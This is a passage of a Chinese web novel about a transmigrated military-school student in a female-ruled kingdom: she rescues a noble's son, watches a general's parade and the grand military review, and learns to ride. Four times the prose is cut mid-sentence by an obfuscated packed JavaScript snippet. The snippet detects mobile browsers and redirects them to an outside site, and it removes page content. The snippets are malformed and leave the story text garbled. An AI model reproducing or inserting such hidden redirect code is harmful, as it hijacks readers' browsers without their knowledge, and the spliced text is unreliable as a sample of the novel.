看着云雾一副被主人抛弃的可怜小狗的模样,商茁叹了口气,还是妥协了,“你还能走吗?定国候府离这里可不算近,我估计你走回去得一个时辰,真不如,我自己去……”说到最后,商茁仍然试图说服云雾同意自己的第一个方案。 云雾试探地走了几步,却发现自己浑身疼痛,特别是小腿,刚才被顾虎给踹了脚,每走一步都疼痛难忍。刚才情绪太激动了没有在意,现在冷静下来,云雾发现自己身上没有一处不疼的。 商茁也发现了云雾的腿走路有些问题,对方明知道自己走不成路,可还是紧紧地拉着她的衣角,用一副泫然欲泣的表情,可怜巴巴地看着她。商茁只觉得十分心累,她就知道遇上云家人就没有什么好事。 犹豫片刻,商茁最终还是妥协了,她转过身蹲下,示意云雾趴上来。 云雾咬了咬唇,迟疑道:“这样,不好吧……” 商茁嗤笑道:“那你就在这等定国候府的人找过来吧~我可提前说明,我还要回学校,没时间陪你在这儿等着。” 闻言,云雾还是下定决心,咬牙趴到商茁的背上。他都能想到,自己被陌生女人背回府这个消息被其他府上的公子听到了,背后得怎么编排他。 商茁不管云雾有什么顾虑,她只觉得自己再不快点把这小公子给送回去,自己回学校就要迟到了!于是,商茁大步流星,一路小跑地背着云雾往定国候府赶去。 云雾只觉得自己被颠得伤口更痛了,他朝商茁抱怨道:“你就不能慢点吗?颠得我伤口又开始痛了。” 商茁不耐烦地撇撇嘴,“我一个当牛做马的都没吭声,你这被背还嫌牛马跑得快,你的良心不会痛吗?”话虽这样说,但商茁还是放缓了脚步。 云雾察觉到商茁放慢了速度,垂眸偷笑。他觉得商茁是他见过最温柔、最有风度的女子了。哪怕自己那个被外人称之“无双”女君的世女长姐,都不及商茁温柔,她也不会像商茁这样平等地对待他们这些男郎。 鼻尖嗅到商茁身上淡淡的柑橘清香,云雾不好意思地将头埋到商茁颈窝。他莫名觉得商茁的后背是世界上最坚固可靠的地方,能为自己遮挡所有风雨。 商茁觉察到背上人的呼吸喷洒到自己的脖子时,她凶巴巴地对背后的云雾说:“喂,你不要趁我不注意吃我豆腐哈!再敢把呼吸喷到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937324|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的脖子上,小心我揍你!” 云雾听到商茁的话,红了耳朵,他刚才没注意到两人现在的距离过于亲近,近得仿佛商茁一转头就能亲到他……虽然内心羞涩难当,但云雾依然外强中干地反驳道:“哼!谁、谁稀罕吃你豆腐!还不是因为你肩膀不够宽,所以我才只能趴在你脖子这里……” 商茁没好气地说:“双开门冰箱肩膀宽,你怎么不让它背你~” 云雾疑惑地问:“‘双开门冰箱’是谁?” 商茁顿了顿,意识到自己不小心说漏嘴了,干巴巴地回道:“我家的大黄牛。” 云雾信以为真,傲娇道:“本公子可不是谁都能背的,京城多少女君想要一睹我的芳容都见不到,今日你不但见到了本公子的容貌,还能背一背本公子,你就偷着乐吧!” 商茁扯了扯唇,没有告诉云雾他引以为傲的容貌已经没有了,他现在的脸肿的跟猪头一样。 在两个人的斗嘴中,终于走到了定国候府。 云雾有些失落地看着侯府大门,内心其实偷偷许愿了几次,希望路能再长些,时间再慢些,能与商茁再多相处会儿,可现实却不如他所愿。 商茁将云雾放下来,走上前,对门房说:“你们家公子受伤了,快去找人来把他抬回家。” 门房看到自己家失踪的公子回来了,激动地去通传女候和候夫了。不一会儿,一个打扮得花枝招展的男人跑了出来,他一把将云雾搂进怀里,心疼地说:“雾儿啊!你可把阿爹给急坏了,你到底是去哪儿了啊!”待看清云雾肿成猪头一样的脸后,惊恐地大叫:“啊!雾儿,你的脸!你的脸怎么了?!” 云雾疑惑地摸了摸自己的脸,不解地问:“我的脸?阿爹,我的脸怎么了?” 站在一旁的商茁只觉得被男人吵得脑仁疼,和这个大呼小叫的男人比,云雾简直正常得不能再正常了。 说话间,定国候和一个姿态雍容的男人走了出来,她蹙眉对夫侍训斥道:“在家门口大吵大闹的什么样子!不成体统!” 清莲一脸委屈地对定国候哭诉道:“妻主~您可一定要为雾儿做主啊!您看雾儿的脸,这以后可该怎么办啊?!” 定国候抬眼朝儿子看去,看到儿子的脸后,也是心下一惊,她连忙吩咐下人去请御医前来为儿子诊治。 一旁的候夫柔声劝道:“妻主,先让下人把雾儿背回府里吧。雾儿如今这样,被人看到恐影响声誉。” 定国候点点头,示意下人上前去服侍云雾。 云雾被一个壮实的男仆背着走回侯府,走到定国候身边时,云雾命人停下,他轻声对定国候请求道:“母亲,今日多亏了商女郎救了我,不然……儿子恐怕就再也见不到您了。您可一定要好好感谢商女郎。” “商女郎?”定国候听到这个并不常见的姓氏,想起了一个令她头疼的存在。 “她就在那儿~” 定国候顺着儿子手指的方向看去,结果那里空无一人。 8. 第 8 章 商茁回到军校,继续着每日高强度的训练,繁重的课业让她忙得晕头转向。就在她快要忘却那日的见义勇为时,这日训练结束后,傅教官突然叫住了商茁,让她跟着自己过来,商茁不明所以地跟着傅教官来到了她的办公室。 里面已经有两个人在等着了。 定国候大马金刀地坐在傅教官的椅子上品茶,身后的云雾望眼欲穿地看着窗外。直到傅教官和商茁的身影出现,他才收回目光,抚了抚衣服上的褶皱,端庄坐好,一副岁月静好的模样。 傅教官敲了敲门,在得到了定国候的准许后,她带着商茁走了进去。 见两人要向她行礼,定国候摆了摆手,招呼两人坐下。她笑眯眯地对商茁说:“商女郎,这次我来,是专门来感谢你救了雾儿的。要不是你,这孩子不知道要受多大的罪呢……”说着,她示意儿子上前道谢。 云雾娇羞地上前,向商茁盈盈施了一礼,“上次多谢商女郎的救命之恩,雾儿无以回报,商女郎之后有用得到雾儿的地方,尽管开口,雾儿在所不辞~” 商茁看着眼前的云雾,他这次没有再带帷帽,脸上的伤也都恢复好了,露出了真实的容颜。一张白嫩的瓜子脸上,湿漉漉的杏眼仿佛会说话一样,欲说还休;笔挺的鼻梁,花瓣似的嘴唇,组成了一张不折不扣的美人面。商茁觉得,云雾的颜值是可以当男团门面的程度。 见商茁盯着自己不说话,云雾害羞地说:“是雾儿脸上有脏东西嘛~商女郎怎么一直盯着雾儿不说话呀?” 他这一波三折的语调,给商茁听得头皮发麻。她过去二十多年都没听过有人用这个调调说话的。 定国候看着格外娇羞的儿子,和今日突然寡言少语的商茁,好像突然明白了什么,她摸了摸下巴,语气不明地说:“是啊,商女郎之前口齿可是非常伶俐的,今日怎么突然变得如此沉默了。” 商茁一本正经地说:“回女候,因为我之前见过的云公子和现在的云公子,简直判若两人,在下一时间没有认出来。故而,花了些时间辨认。” 闻言,云雾脸上的笑僵住了。他下意识地摸了摸自己的脸,小声解释道:“这才是我本来的样子,商女郎,快快把之前看到的都给忘了!” 商茁眼里含着笑意,拱了拱手,“遵命。” 定国候母子两人走后,傅教官递给了商茁一张似曾相识的条子。“收好,和之前一样。” 商茁有些犹豫,她现在已经力大无穷了,觉得平日里的训练也都能跟得上,她不好意思再让傅教官额外给她申请“女药”了。 见她迟迟不接,傅教官催促道:“愣着干嘛,还不收下。” 商茁不好意思地说:“教官,您对我的好,我都记在心里。我知道‘女药’价格不便宜,您以后就不用费力帮我额外申请了,万一被其他同学知道了,对您不好……” 傅世嘉好笑地听着学生朴实却真挚的话语,她朝商茁的头上轻轻拍了下,把“女药”的补助条塞她怀里。“这可不是我给你的,是定国候给的。” 商茁手忙脚乱地接住了那张价值不菲的条子,疑惑地问:“定国候?” 傅世嘉轻笑道:“你救了她儿子,堂堂定国候,若只是上门道谢,传出去岂不招人笑话小气?好了,收好就去校场吧,马上就要开始训练了。” 商茁收好补助条,向傅教官规规矩矩地行了一礼,才告退出去。 刚来到校场,商茁就看到同学们一个个兴高采烈地不知在谈论着什么。待她找到人群中的赵国安时,对方也是红光满面,一脸激动地手舞足蹈。 “国安姐,你们在说什么?怎么大家都这么激动?”商茁好奇地问。 赵国安看到商茁后,把她拉到自己身边,双手握拳、两眼放光地说:“阿茁,这次阅武大典沈将军也会回来!” 商茁有些迷茫地眨了眨眼,“沈将军?” 赵国安滔滔不绝地介绍着自己的偶像,“沈将军当年还是个指挥使的时候,就能凭借三千兵马击退敌方五万大军!之后更是率领众将士,夺回被鞑族占据多年的燕州!” 商茁点点头,“沈将军真的是很了不起。” 听到商茁的认同,赵国安更加激动地说:“是吧!是吧!沈将军乃我们这些军校生的榜样!我之后要是能像沈将军这样厉害就好了!要是有朝一日我能替大朝再夺回云州,就是让我死在战场,我也愿意!” 闻言,商茁下意识地看向她,赵国安外表一直是个大大咧咧、没心没肺的人,商茁没想到她的心里竟然藏着这么大的抱负,说着自己梦想的赵国安,好像整个人都在闪闪发光,格外耀眼。 在赵国安的日日盼望中,阅武大典终于快要到来。各地卫所的指挥使,带着被皇帝抽中参与演练的部下,陆续抵达京城。 在月末休沐的时候,赵国安拉着商茁去街上和百姓们一起欢迎沈将军的归京。主街两旁站满了在此等候的百姓们,大家的情绪都很激动,翘首以盼地等着沈将军的出现,女人一个个摆臂呐喊,男郎们则是扬着手帕,以示对沈将军的欢迎。 赵国安拽着商茁左挤右挤,终于挤到了最前排,被挤到一旁的大姐冲两人怒目而视,赵国安却毫不在意,双眼紧紧地望着街口的方向。商茁赶紧朝大姐赔笑道歉,对方这才瞪了她俩一眼,不再追究。 一道“哒哒”的马蹄声传来,一匹昂首阔步的枣红色大马,迎着众人的目光走了过来。 “沈将军回来了!” 不知道是谁喊了一嗓子,气氛瞬间沸腾起来。各种欢迎问候的声音掺杂着尖叫声、鼓掌声,哨子声,一时间主街上人声鼎沸。 有人拿着新鲜的花瓣站在楼上撒了下来,还有些胆大的男郎们把自己绣好的手帕和香囊抛向沈将军,希望得到对方的垂青。 在被挤来挤去的时候,商茁看到了骑在大马上的人,瞬间有些呆愣。她想象中的沈将军该是和傅教官一样高大健硕、英明神武的女子,可是,马上的人瘦瘦小小的,皮肤呈没有血色的苍白……在女性人均一米七以上的大朝,商茁目测这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937325|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位沈将军的身高大概在一米六几左右。 沈巍抬手向周围的百姓们招手示意,百姓们欢欣、热烈的情绪感染了这位平日里不苟言笑的将军,她轻轻地扯了扯唇,向家乡的母老乡亲点头微笑。 在看到穿着军校训练服的两个女孩时,沈巍愣了下,左边的女孩身材高大健壮,正激动地向她疯狂大喊摆手,而她一旁的女孩相比之下,就要瘦弱得多,她呆呆地看着自己的方向,仿佛和热闹的人群格格不入…… 看到她们俩,沈巍突然想到了当年的傅世嘉和自己,她们两个当时也是这么要好。因为寡言少语的性格,沈巍上学的时候并不得同学喜欢,总是一个人独自训练、独自吃饭、独自回宿舍……直到遇到了年少时的傅世嘉。那时的傅世嘉也如左边的这个女孩子一般,性格热情开朗,和大家相处得都很好。 一次训练中,沈巍和傅世嘉被分到一组。两人配合的很默契,顺利赢得了比赛。那日,傅世嘉单方面地宣布两人以后就是朋友了,对此,沈巍不置可否。 之后,傅世嘉不知怎么知道了沈巍总是一个人,于是便强势地挤进了沈巍的生活,拉着她一起训练,和她一起吃饭,两人相伴着回宿舍……自此,沈巍的世界被人照亮,而她也不再孤独。 想到傅世嘉,沈巍的心里变得温暖起来,她扭头朝那两个军校学生笑了笑,回头继续策马前进。 “啊啊啊啊!!!沈将军,沈将军刚才朝我笑了!!!阿茁,你看到了没?!你看到了吗?!!沈将军朝我笑了!!啊啊啊啊!!我今晚要失眠了!!” 商茁被赵国安喊得耳朵嗡嗡作响,她觉得这姐妹儿的肺活量又增加了,竟然能一口气说这么长一段话都不喘气的。 沈将军走后,人群渐渐散去。赵国安意犹未尽地看向沈将军离开时的方向,有些哀愁地感叹道:“唉!以后不知道什么时候才能再见沈将军一面……” 两人回军校的路上,商茁确认四周没人后,这才将心中的疑惑问出口:“国安姐,我观咱们学校的教官们个个身形高大健硕,反观沈将军,怎么,呃,看起来身形不大威猛的样子?” 赵国安叹了口气,“没办法,沈将军是低等阈值,不管她怎么训练,身量都不会变的……这都是出生都决定好的。” 商茁喃喃道:“低等阈值?” 赵国安点点头,轻声道:“很不可思议对吧?我当初听人说沈将军是低等阈值,也是不敢相信,那么厉害、那么神勇的将军,竟然只是低等阈值。听说,就是因为沈将军,才让军校破了例,准许低等阈值的人入学……” 商茁这才明白,当初体检的时候,为什么医官只是单纯询问下每个人的阈值——因为根本不怕有人撒谎。毕竟就连低等阈值的人都可以进入军校,还有什么可撒谎的? 商茁猜测,“阈值”其实是指是身体素质?“阈值”越高,体能越好? “不止这些。” 听到赵国安的回答,商茁这才发现,死嘴又把自己心里的话给秃噜出来了。 9. 第 9 章 赵国安一直觉得商茁是个无母无父的孤儿。自己懵懵懂懂地长大,很多事情不知道也正常,于是她耐心地给商茁讲解道:“‘阈值’决定一个人的血脉是否纯正,‘阈值’越高,这个人的头脑就越聪明、体格就越强健,而且生育力也会更强大。高阈值的女性孕育出来的后代,大多也会继承母亲的‘高阈值’。” 商茁顿悟地点了点头,原来“阈值”相当于现代的基因,基因优质的女性,往往会有出众的能力,她们也能得到国家的给予的更高待遇。但是沈将军又是怎么回事? 商茁将心中的疑问告诉了赵国安,“我看沈将军好像除了身量矮小点,其他也没有什么不好的……” 赵国安叹了口气,“十万万个低等阈值的人里面不知会不会出一个沈将军。听人说,沈将军身边是有个夫侍的,但她却一直没有孩子……” 商茁一脸若有所思,看来阈值低不是靠自己努力就能弥补的。在生产力低下的古代,几乎所有的工作都需要人力完成,因此人们是很崇尚生育的。 之前在医馆养伤的时候,商茁就看到那边有个老奶奶备受人们尊敬,原因就是老奶奶这一生,曾生育过六个孩子,并且全部将她们抚养长大,因此获得了“英雌母亲”的称呼。 大朝对女性生育基本上做到了全方位的照顾。孕妇不光每月可以免费领取一副安胎药,而且只要生孩子,女性就可以得到国家丰厚的生育补贴,若是生下的是女儿,还可以额外领取一份“女儿诞礼”。只要生五个以上的孩子,年老时就可以每月领取二两银子的“国家贡献金”。可谓是把鼓励生育做到了极致。 这里的女性对生育也都持积极态度。“母亲”对她们来说是受人尊敬、无上光荣的身份。延续自己的血脉、姓氏,国家还会有丰厚的补贴,谁会不乐意呢? 回到宿舍,还没推开门就听到几个舍友在里面激动叫喊,商茁和赵国安对视一眼,从彼此的眼中看出了疑惑。 推开门,三个舍友正将丁满围在中间,七嘴八舌地说着:“丁姐,你也太厉害了吧!竟然能搞到阅武大典现场请帖!!” “丁姐,你可要看仔细,回来后给咱们宿舍里的人,好好讲讲!” “我也好想去现场看阅武啊!请帖为什么这么贵!啊,我恨你们这些有钱人!!” 赵国安听到丁满有阅武大典的现场请帖,瞬间瞪大了双眼,她“唰”地冲向丁满,用力挤开几个舍友,两眼放光地问道:“小满,你真的搞到阅武大典的请帖了?!能不能也给我搞一张?我把这些年存的积蓄都给你!!” 丁满轻轻地摇了摇头,略带歉意的目光看向舍友,“抱歉国安,我帮不了你。我的帖子是朝廷给官员们发放的,一个官员只能带一位家属。” 闻言,赵国安眉毛颓然下垂,失望地收回目光,干笑道:“原来是这样啊。没事,等你看过后,我们一起听你复述。” 丁满神情郑重地向舍友们承诺,自己一定会目不转睛地看完整场阅武大典,到时候不差分毫地给大家讲述阅武大典的情景。 商茁看着大家一脸憧憬地猜测着明天阅武都会有哪些演练,仿佛回到自己小时候和家人朋友,一起蹲守在电视机旁等着阅兵大典开始的场景。 就在阅武大典即将开始的前一天。一个不认识的同学突然跑了过来,告诉商茁学校门外有人找她,不等商茁询问来人是男是女、高矮胖瘦?那个同学便“噔噔噔”地跑走了。 商茁一头雾水地来到学校门口,猜想可能是青云姐担心她,所以来学校看看她? 结果刚到校门口,就看到了一辆眼熟的马车,那干净漂亮的马儿,华贵的车厢,瞬间让商茁想起一个人。 商茁走近后,车里突然走出一个高挑的身影,那个标志性的三白眼,一脸欠揍的表情,竟然是被罚禁足一个月的云煜。 商茁顿时后退一步,一脸防备地看着对方。 云煜指着商茁,不忿地喊道:“诶!你那是什么表情?我好心给你送阅武请帖,你竟然一副防贼的表情!” 听到她说起阅武请帖,商茁眼神微动,拱了拱手,语气客气疏离,“无亲无故、无事无非,不知云女君为何要送我阅武请帖?” 云煜哼了声,“要不是你救了我弟弟,我才懒得理你!” 商茁笑了笑,不在意道:“救下令弟,只是顺手为之,任何一个正常女人看到当时的情况都不会冷眼旁观。至于谢礼,定国候已经给过了。” 云煜不耐烦地把请帖拍商茁怀里,“你一个军校生,一天天的怎么这么屁话,跟文院那帮书呆子一个德行!” 见商茁手忙脚乱地接住了请帖,云煜嘴角勾了勾,转身坐进马车,正准备命人驾车离开时,听到商茁的声音,“云女君,多谢你的请帖!” 云煜轻咳了声,故作平静的对旁边的人说:“这人还不是完全没救,还知道好赖的。” 云雾看着阿姐弯弯的眉眼,捂着嘴轻笑道:“商女郎为人正直善良,之前她和阿姐只是有误会,等这次阿姐再去军校,相信你们两人一定能成为好友的~” 想到之前的事,云煜顿时觉得胳膊隐隐作痛。当时商茁风轻云淡地一捏,可她的胳膊可是实实在在的骨裂,足足养了个把月!提起这个,云煜就气得牙痒痒! 那个商茁不知道是吃什么长大的,看看起来也没多健壮的一个人,竟然有这么大的牛劲儿! 气不打一处来的云煜,冷哼一声,“我才不想和她成为朋友!要不是你苦苦哀求,我才不来见她!哼!” 云雾看着突然气鼓鼓的二姐,连忙安慰道:“雾儿就知道阿姐最疼我了~我最近专门给二姐打了个‘傲骨寒梅’的络子,和二姐的那件映雪红梅的新衣很是相称,二姐回去试试~” 云煜摆了摆手,“我也懒得管你那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937326|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心思,就一点,你不可和商茁私相授受!女男之间,总是男儿家多些吃亏,你可别一时糊涂被人骗了。像你这种少男怀春的小男郎,我见多了,多少小男郎被人骗了身子,女方不愿负责,最后只能去给人家当偏房或者找个小地方的农女草草嫁了……” 听到二姐的话,云雾下意识出言维护,“商女郎不会这样的!她不是这样的人!” 看着自己那胳膊肘朝外拐的弟弟,云煜伸手朝他的额头上用力点点,恨铁不成钢地骂道:“你自己看看这不值钱的样子!我都懒得说!你要是敢做出什么有辱家门的事儿,看母亲会不会打断你的腿!” 云雾被二姐的疾言厉色给吓得白了脸,他磕磕绊绊地解释道:“阿、阿姐,你、你放心,我肯定不会做有损府上颜面的事……” 商茁并不知道今日云雾也来了。云煜走后,她拿起请帖检查了一番,确认没问题后,便拿着请帖找到了赵国安。 她拉着赵国安找了个没人的地方,把请帖递给了赵国安。 “铛铛~国安姐,你看这是什么!” 赵国安闻言,抬眸朝她手上看去。待到看清请帖上的字后,赵国安眉毛差点飞到天上去,她瞪大双眼,不敢置信地看着眼前的请帖,手指因激动有些微微颤抖。 待触到请帖上微微凸起的云纹,冰凉硬挺的外壳后,赵国安这才相信,自己真的见到了千金难买的阅武大典的请帖。 “阿茁,你怎么弄到的?听人说,现在一帖难求,请帖都快成天价了!”说着,赵国安小心翼翼地打开了请帖,一字一句地阅读着上面的内容。 商茁并没有告诉她关于云煜的事,轻描淡写地说:“一个朋友送的。” 赵国安咧着嘴,夸赞道:“你那个朋友真够意思的!改明儿,你叫上她,我请客,咱们一起去同悦楼吃一顿~” 商茁轻笑着点点头,“有机会,一定请她吃顿便饭。” 赵国安珍重地将请帖放入怀中,她揽着商茁的肩膀说道:“今晚早点睡,明天丑时咱们就要起来,晚点大街上都是去看阅武的人,到时候到处都是人挤人,别把咱们的请帖给挤丟了……阅武大典咱们可得看仔细了,回来了好好给其他同学讲讲……” 商茁目光温和地看着已经幻想着明天阅兵大典是什么样的赵国安,轻声道:“国安姐,明天得你一个人去了。” 赵国安一时间没反应过来,疑惑地问:“为啥?你咋突然不想去了?” 商茁但笑不语。 赵国安这时才明白,商茁的朋友只给了她一张请帖!她顿时觉得怀中的请帖重若千斤,一时间让她都直不起腰来。 虽然非常想亲眼观看阅武大典,但赵国安还是不假思索地从怀中取出请帖,她毫不留恋地递给商茁。“阿茁,还是你去吧,回来给我讲讲现场的情形就好。我一向笨嘴拙舌的,就算去看,回来也给你们复述不好……” 10. 第 10 章 商茁伸手接过请帖,赵国安见状松了一口气。她虽然为人大大咧咧、不拘小节,但不是能理直气壮接受别人好意的人。 见赵国安又恢复成平日里的松弛状态了,商茁漫不经心地开口:“国安姐,你能帮我个忙吗?” 闻言,赵国安不假思索地答应了,“成啊!啥事?” 商茁轻笑着把阅武大典的请帖重新塞回她的怀里,“那就请国安姐明日替我去看阅武大典吧~丑时太早了,我还是更喜欢在宿舍睡觉……” 赵国安手足无措地看着怀里的请帖,“阿茁……这,你……我……” 商茁拍了拍她的肩膀,“咱们姐妹俩就不说两家话了。国安姐,我对阅武大典并没有那么好奇,这张请帖本来就是给你的,你看得开心、尽兴,那这张请帖就发挥最大的价值了。” 赵国安深深地看了商茁一眼,她握拳捶了捶自己的胸口,“好姐妹,你对我的好,我都记心里了,那些客套话我就不多说了。只一句,以后有什么困难,姐们儿随时在。” 阅武大典当天,月亮还在空中高悬时,赵国安已经轻手轻脚地起床穿衣了。因为是国家三年才举行一次的大典,这日军校、文院的学生全部休假一日,因此宿舍现在只剩商茁、赵国安和程玉三人。 穿好衣服,赵国安看着还在熟睡的两个舍友,小心翼翼地走出宿舍,轻轻关好房门,便马不停蹄地朝举行大典的演武场跑去。 等赵国安气喘吁吁地跑到演武场外时,发现四周已经站着几个人了。她下意识地摸了摸藏在胸前的请帖,确认了请帖还在,赵国安便走到大门前,等待宫人检阅请帖后进入演武场。 待到天光微亮时,演武场外已经排起长龙。卯时,终于有宫人走出来开始检查请帖。赵国安按照宫人的指引来到了观众席位,让她惊讶的是——她的位置竟然是前排!要知道这种位置都是留给那些权贵高官家属的,赵国安猜测送商茁请帖的这位朋友,应该来头不小。 就在赵国安望眼欲穿地等待着阅武大典开始时,一个穿着广袖华服、身姿娉婷的男子走了过来,“商女郎……”可等他看清座位上那人的脸后,娇软的声音立马变了调,“你是何人!胆敢坐在商女郎的位置上?!” 云雾睨了眼座位上人的衣服,轻蔑地说:“还不快起来!这里的位置可不是你一介平民能够坐的!” 赵国安看了眼一旁冷声斥责她的小公子,对方带着面纱看不清长相,但通身的气派和高高在上的态度能看出他家境不凡。“这就是送阿茁请帖的朋友?”赵国安在心里默默猜测道。 见赵国安一直不吭声,云雾气急准备派小厮去叫侍卫过来,把霸占商女郎位置的无礼之人给轰出去!突然见那人拱了拱手,“我和阿茁是好友,因她今日身体不适来不了,所以把请帖转赠于我。还请公子见谅。” 一听商茁生病了,云雾立刻担心地问:“商女郎怎么了?明明昨日还……” 身后的小厮轻咳一声,不着痕迹地提醒自己家公子注意言行。 听到小厮的提醒,云雾也明白了自己刚才说话有失身份,差点把昨日偷偷出门约见商女郎的事给说了出来!虽然他一直在马车上没有下来,但被有心人听到就成了他和商女郎私相授受了…… 赵国安纳闷地看了眼一旁的小公子,不明白他话说一半什么是意思,但她又不好意思将商茁原话“起不来,更喜欢睡懒觉”说给对方听,她想了想说道:“公子不必担心,都是些小毛病,休息两日就好了。” 云雾不经意一瞥,竟然看到了自家一向端方持重的长姐向这边走来,他顾不得多想便转身离去,要是让长姐看到自己私会外女,哪怕没有做什么,那也得挨长姐一顿训斥,还得被罚抄《男训》。 看那个小公子突然转身离去,赵国安心下有些莫名其妙,一阵慷慨激昂的鼓声突然响起——阅武大典开始了!她瞬间将那位陌生的小公子抛到脑后,全神贯注地看向台下的演武场。 只见几千个士兵身披盔甲、手持长枪,齐刷刷地走了出来,她们精神抖擞、意气飞扬地走到大众面前,接受皇帝、百官和百姓们的检阅。 由沈将军带领着,几千个士兵走到皇帝台前,向台上的皇帝行瞩目礼。沈将军左手握拳放在自己的心脏处,朗声宣誓道:“向陛下献上最炽热的忠诚!” 身后的士兵们齐刷刷地抬起左手,握拳放在自己的心脏处,大喊道:“忠诚!” 沈将军继续宣誓道:“为大朝鞠躬尽瘁,死而后已!” 几千名士兵齐刷刷地大喊:“为大朝鞠躬尽瘁,死而后已!!”她们的脸上满是坚定,眼里充斥着对国家的热爱。 看台上赵国安看到这一幕,热泪盈眶心潮澎湃,她恨不能一起站在士兵方队中,一起接受陛下和百姓们的检阅,宣誓自己的忠心和甘愿为大朝牺牲奉献的决心! 方队展示了几种作战时的指令和阵型变化后,几千个士兵按照不同卫所分成了几个阵营,开始比赛弓马骑射、兵器格斗,举石锁、拉硬弓…… 看台上的赵国安看得目不转睛,生怕漏看一瞬。 直到沈将军领导的边城卫所夺得此次的比试第一后,阅武大典在赵国安依依不舍的目光中拉上了帷幕。 回到宿舍后,还不等喘口气,赵国安便热血沸腾地向两个舍友讲述着阅武大典上的点点滴滴。她绘声绘色地模仿着沈将军向皇帝陛下宣誓的画面,商茁和程玉两人看得目不转睛,仿佛亲临了阅武大典现场。 日子一天天地过着,不知不觉,商茁已经来到大朝五个月了。这日训练,傅教官将她们带到了一处宽阔的跑马场。 “从今日开始学习马术,新生中将选出十名成绩优异者,代表军校参加一年一度的马术比赛。”傅教官话音刚落,下面的学生都一脸蠢蠢欲动。 排队学习马术时,商茁朝赵国安悄声问道:“国安姐,你会骑马吗?” 赵国安一脸淡定地回答:“我在家的时候经常骑骡子,它们两个应该差不多~” 商茁崇拜地看着赵国安,“国安姐,你好厉害~待会儿,能不能教教我?”说到后面,商茁有些不好意思,“骡子、驴什么的,我都没骑过,什么都不懂……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937327|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为一个现代人,商茁对马、驴子之类的代步动物,仅仅是在视频里见过,而且她听说很多马脾气都不好,人骑上去还会故意把人给摔下来。所以,她对这种情绪不太稳定的动物,内心是有点害怕的。 赵国安一口答应了商茁的请求,“没问题!阿茁,你放心,我一准儿把你教会~” 待到商茁上马学习时,她按照教官的教导,左手握住缰绳和铁镫,右手抓住鞍桥,左脚踩入马镫,双手微微用力撑身,右脚跨过马背坐下。 成功骑到马背上后,商茁暗自松了口气,她尽量保持淡定、松弛,迷惑马儿,让它觉得自己是个有经验的老手,不能欺负她,不然她可是会生气的! 赵国安在一旁帮商茁牵着马儿,轻声道:“阿茁,你做得很好~现在双手握住缰绳,不要勒太紧,然后双腿同时轻轻向内挤压马腹,给马一个前进的信号。” 商茁点点头,严格遵守赵国安的话,握住缰绳后,双腿试探地挤压马腹。马儿成功接收到信号,迈开步子向前走去。 在马背上感受着微风拂过发丝,商茁莫名有种开着豪车兜风的感觉。她眯着眼,感受着马儿的步伐,尝试和马儿建立默契。 “国安姐,我可以再快点吗?” 赵国安笑了笑,“当然可以~不过,你要自己握好缰绳,操控马儿了。” 在告诉了商茁,怎么让马儿停下,和让马儿快步后,她慢慢地松开了牵马的绳子。 商茁先是试着向后拉住缰绳,让马儿停止脚步,确认马儿能听从命令停下后,她再次让操控着马儿起步,然后深吸一口气,双腿短促地挤压马腹,同时用双腿轻轻“磕”了下马腹。马儿果然如她所愿那般快步向前。 直到教官宣布今天的马术训练结束,商茁才意犹未尽地将缰绳递给马匹的管理人员。不知道是不是商茁的错觉,她觉得自己在骑马这方面还挺有天赋的,难道是自己扮演得太像老手了,成功忽悠住马儿了,以至于马儿太配合,让她今天的训练格外成功? “阿茁,走啦!吃饭去~” 赵国安一把拉过商茁,两人肩并肩地向食堂走去。 “国安姐,你觉得我学得怎么样?有没有‘此女天赋过人,假以时日必成大器’的感觉?”商茁一脸期待地问道。 “噗~”赵国安被商茁的话逗笑,“哈哈哈哈……” 商茁:“……”她明明是很认真的询问。 赵国安狂笑了一会儿,擦了擦眼里笑出的泪花,轻咳一声,“咳咳,我觉得你天赋过人,假以、假以时日必成大器!!哈哈哈哈……”好不容易说完,赵国安又开始大笑起来。 